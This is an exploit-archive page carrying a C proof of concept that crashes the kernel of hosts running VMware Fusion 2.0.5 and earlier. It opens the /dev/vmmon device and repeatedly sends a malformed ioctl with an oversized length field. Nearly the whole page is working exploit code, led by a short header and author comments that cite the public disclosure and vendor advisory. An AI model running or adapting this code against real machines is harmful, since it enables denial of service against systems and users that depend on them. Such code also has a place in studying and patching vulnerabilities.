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VMWare Fusion <= 2.0.5 vmx86 kext local PoC
[===========================================
VMWare Fusion <= 2.0.5 vmx86 kext local PoC
===========================================
# Title: VMWare Fusion <= 2.0.5 vmx86 kext local PoC
# CVE-ID: ()
# OSVDB-ID: ()
# Author: mu-b
# Published: 2009-10-02
# Verified: yes
view source
print?
/* vmware-pop.c
*
* VMware Fusion <= 2.0.5 vmx86 kext local denial of service POC
* by mu-b - Mon 22 June 2009
*
* - Tested on: VMware Fusion 2.0.4 (10.5.x)
* VMware Fusion 2.0.5 (10.5.x)
*
* http://seclists.org/fulldisclosure/2009/Oct/29
* http://lists.vmware.com/pipermail/security-announce/2009/000066.html
*
* - this exploit is provided for educational purposes _only_. You are free
* to use this code in any way you wish provided you do not work for, or
* are associated in any way with Portcullis Computer Security Ltd.
*
* - Private Source Code -DO NOT DISTRIBUTE -
* http://www.digit-labs.org/ -- Digit-Labs 2009!@$!
*/
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#define VMX86_IOCTL 0x80045643
struct ioctl_req {
struct ioctl_req_buf *uaddr;
};
struct ioctl_req_buf {
char pad[0x8];
int len;
char _pad[0xC];
};
int
main (int argc, char **argv)
{
struct ioctl_req req;
struct ioctl_req_buf buf;
int fd, r;
printf ("VMware Fusion <= 2.0.5 vmx86 kext local kernel denial of service PoC\n"
"by: <mu-b@digit-labs.org>\n"
"http://www.digit-labs.org/ -- Digit-Labs 2009!@$!\n\n");
fd = open ("/dev/vmmon", O_RDONLY);
if (fd < 0)
{
fprintf (stderr, "%s: open failed\n", argv[0]);
exit (EXIT_FAILURE);
}
memset (&req, 0, sizeof req);
req.uaddr = &buf;
memset (&buf, 0x41, sizeof buf);
buf.len = 0xAAAAAAA;
printf ("* hitting...\n");
while (1)
r = ioctl (fd, VMX86_IOCTL, &req);
/* not reachable!$%! */
return (EXIT_SUCCESS);
}
# 0day.today [2024-07-04] #